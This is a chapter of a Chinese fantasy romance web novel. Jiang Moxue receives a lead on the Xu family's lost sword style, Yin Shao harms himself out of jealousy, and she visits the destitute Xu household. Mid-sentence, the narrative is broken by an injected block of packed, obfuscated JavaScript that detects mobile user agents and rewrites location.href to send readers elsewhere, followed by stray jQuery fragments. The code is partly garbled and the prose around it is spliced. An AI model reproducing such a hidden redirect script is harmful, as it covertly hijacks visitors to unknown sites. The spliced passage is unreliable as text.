蕴温 作品
7. 第7章 重生前
姜摹雪打开门的时候,看见面前这个有些熟悉又有些陌生的人,一时间还有些摸不着头脑。
对方还不知道她没有认出来他是谁,只是自顾自地说:“可算找到你了,当日小姐只和在下说了是在安源镇,并未说具体在哪里,在下问了这镇上许多人这才找到小姐。”
听完这句话,姜摹雪这才猛然想起是在丰城之中两次遇见的公子,她问道:“有何事?”
萧令琮回复说:“你让我找的许家,有线索了。”他声音里带着喜悦,似乎是为终于能报答眼前人而高兴。
姜摹雪想起来了,她有些惊讶。不过是随口一说,没想到面前这位看似普普通通的公子居然真的能查到她查了许久都没有头目的消息。
因而,姜摹雪赶紧问:“什么线索?”声音都带了分紧张。
萧令琮从自己的怀中掏出一张平整叠好的纸张,将她递给了姜摹雪,“我也是凑巧发现的,这个许家如今已经没有传承刀法了,家族也落魄了,很少有人知道,这纸上面写着他们如今在的地方。”
当时姜摹雪告诉他这件事情后,他就一直放在心上,那日回去后立刻问了师姐可认识这许家,师姐随口说道:“大师兄家中不就是学刀法的吗,或许他知道?”
萧令琮马上想起来大师兄在入师门前家中就是刀法世家,不过他入了师门后就改学剑法了。
虽然大师兄入门已经是很多年前的事情了,但试一试准没有错的。
果真,没过几天,大师兄就给了他回信,萧令琮跟着信上的消息找了两天,还真的让他寻到了那个许家。
姜摹雪将纸张展开,上面果真写着一个地址,那地址在丰城一处很偏僻的住处,足以见得这许家的确是败落了。
她收起纸张,朝着萧令琮感激地笑道:“多谢公子帮忙,这对我来说太重要了!”
她笑得很灿烂,两只杏眼都弯成了月牙状,看起来很是高兴的样子,那笑容当真是比阳光还明媚。
殷绍自听到交谈声起,就打开了房门,此刻他的目光落在了姜摹雪的笑颜上,久久未动。
笑得晃眼睛。
殷绍神色平静地将门合上,隔绝了碍眼的两个人。
过了一会儿,他嫌弃地捡起角落里那只沾上泥的金铃。
他找来帕子,一下又一下地擦着上面的泥土,脸上的笑不再维持。
她对谁都笑得这么开心吗?那不过是个不认识的陌生人。殷绍擦着金铃的手一顿,想起刚刚听到他们的谈话。
他心中有一个隐隐的猜测,那就是他们口中的“许家”或许和姜摹雪说的那件很重要的事情有关。这个许家他从未听姜摹雪向自己说过,可她现在却告诉了另一个陌生的男人。
认识到这一点,殷绍觉得格外烦躁,手上的力也使得更大了一些,金铃尖锐的一角瞬间刺破了指尖,一滴血从那里渗了出来。
殷绍没有在意,甚至自虐般地又将手指往那尖锐的地方按了按,像是在惩罚自己。
外面那两人依旧在交谈,声音清晰地传进殷绍的耳中,只是怎么听都觉得烦人得紧。
破开的口子越来越大,鲜血顺着手指流下,滴落在金铃之上,血色与金色交相映衬,显得格外怪异。
殷绍冷眼看着流血的手指许久,直到流在铃铛上的血迹已经干涸,他也没有移开眼睛。
伤口于他而言并不痛,更多的,像是一种警告,警告自己心中那些陌生的翻涌着的情感。
“殷绍!”
一道雀跃的声音响起,殷绍掀眸望去,姜摹雪推开了门,欢欢喜喜地朝他走了过来,脸上挂着他觉得碍眼的笑容。
她坐在他身边,絮絮叨叨说着:“你不知道,刚刚我获得了一个好消息,就是关于那件很重要的事情,之前我本是随口一说,没想到那萧公子竟然真的给我带来了消息,或许我一直在寻找的真相,就近在眼前了……”
殷绍掀眸看她。就这样了,她依旧不肯告诉自己“那件事情”。
“诶?你受伤了?”姜摹雪余光突然看到了一抹血色,再往下看去,看到了殷绍那划开了很长一道口子的手指。
她有些心疼地将殷绍的手拉了过来,脸上的笑意也淡了几分。
姜摹雪不敢擅自动用魔气替他治疗,只好从自己的储物戒中拿出一些疗伤的药草敷在上面,再用纱布缠住。
做这些的时候,她的神情认真,那双漂亮的眼睛一眨也不眨地盯着殷绍的手指。
姜摹雪的动作很轻,生怕碰到伤口又刺激出血来。
殷绍只感觉出一双手轻柔地抚摸过手指,触感温暖,源源不断的热量从她那捧着他手指的掌心中传来。
殷绍目光落在姜摹雪低垂下来的头上,歪了歪头,唇角露出一抹意味不明的笑来。
或许……并没有那么糟。
姜摹雪包扎完毕后,也没再问他怎么受的伤,只是说道:“你要快点好起来。”
可别再受伤了。
殷绍动了动那根手指,手指上她留下的余温还没有散去。殷绍想起她之前说过的话,开口道:“伤好之后你会离开?”
姜摹雪缓慢地点了点头,她看向柔弱的男人,说道:“当然啦。不过我伤你至此,是我有错在先,你若有什么想要的,尽管提出来,能满足你的我会尽我所能去满足。”
姜摹雪补充一句:“不包括杀人放火的事情。”
殷绍看向她,神色莫名:“我想要的,你都能给?”
姜摹雪浅浅地“嗯”了一声,她准备听殷绍的回答,她有些好奇殷绍想要什么。结果等了好一会儿,殷绍都没有开口。
她有些疑惑地看向殷绍,殷绍这时才慢条斯理地开口:“暂时没想好。”
姜摹雪没有想太多地回复道:“好,想好了随时告诉我。”
-
姜摹雪小心翼翼地行走在小巷之中。
巷口窄小,只容得下一人经过,两人都得侧侧身才能过去,巷子常年不见阳光,生出一股潮湿的霉味。近来降了雪,地上一层浅浅的积雪被过往行人踩得很脏,凝结成雪块,一不小心就会摔倒。
姜摹雪看向面前一扇矮小的门,不禁感叹许家竟然落魄至此
她敲了敲门,没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244729|166342||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
过多久,一位衣着朴素的女人开了门,她很谨慎,防备心很重,只开了一半的门,身体还挡在前面,明显不想让姜摹雪进来。
她看了看姜摹雪,等待着她说明来意。
姜摹雪站在狭窄的巷子里,有些尴尬地询问道:“请问这是许家吗?”
女人上下打量了她一眼:“你找谁?”
姜摹雪问道:“你们祖上可会刀法?”
女人正想开口否认,这时她的身后传来一个苍老的声音。
“姑娘是来找许家的刀法吗?清娘,让她进来吧。”
姜摹雪走了进来,不动声色地往四处看了看,房子不大,大大小小的杂物堆满了整个屋子。
她看向面前这位出声的老人,轻声询问道:“您知道关于许家刀法的吗?”
老人正准备开口,结果刚说出一个字,立马就开始剧烈地咳嗽起来,布满皱纹的脸涨红起来,一旁的女人见状,连忙给他顺气,她有些不悦地瞪了一眼姜摹雪。
老人平复下呼吸后,向旁边的女人说了几句话,女人闻言皱了皱眉,很不高兴,但还是离开,回了房间。
老人看向姜摹雪,咳嗽两声,说道:“姑娘不要怪罪,前些日子清娘的夫君,也就是我女婿被魔物所害,过于悲伤才如此。”
姜摹雪闻言,说道:“节哀。”
老人摆摆手,表示不在意,他道:“姑娘刚刚问起刀法的事情?实不相瞒,几百年以来,世上的灵气越来越稀薄,祖祖辈辈中又全是天赋平平的,没什么修炼的人,因而这刀法,也早就失传了。”
果真是失传了吗?
姜摹雪咬了咬唇,她想了想,继续问道:“已经失传很久了吗?”
那老人点点头,掐着手指算了算,说道:“一两百年了吧。”
姜摹雪不死心,仍旧追问道:“那刀法是只有许家之人才学的吗?”
“当然,功法特殊,旁人轻易学不来。”
姜摹雪垂眸,她手指收拢,依旧有些不甘心。
她想起来什么,从袖子掏出早已经准备好的书册,指着上面的招式说道:“可是这种刀法?”
老人眯了眯眼,仔细瞧了瞧,最后缓缓地点点头。
“的确是,姑娘从何得来这本书册的?我们许家现存的残书,也没有这本书册完整。”说着,他颤颤巍巍起身,从一个老旧的木盒里拿出那残册,比对了一下。
老人家有些自嘲地说道:“姑娘就是想学这刀法,老夫也无能为力。”
他将姜摹雪当成了前来求学刀法的人,姜摹雪并未否认。
即便如老人所说,姜摹雪手上那本书册也没有记载完全。也就是说,完整的许家刀法,确确实实是失传了。
姜摹雪又想起了那位蒙面人,他当着自己的面,杀死了自己的母亲。
她闭了闭眼睛,努力平复了一下心中的思绪,她睁开眼,问出了最后一个问题。
“那许家五年前可有谁曾去过扬州一带?”
老人摇摇头,道:“家中只有我和清娘他们夫妇,我们一直居住在冀州,不用说扬州,就连附近的兖州都未曾踏足过。”
线索好像又这样断了。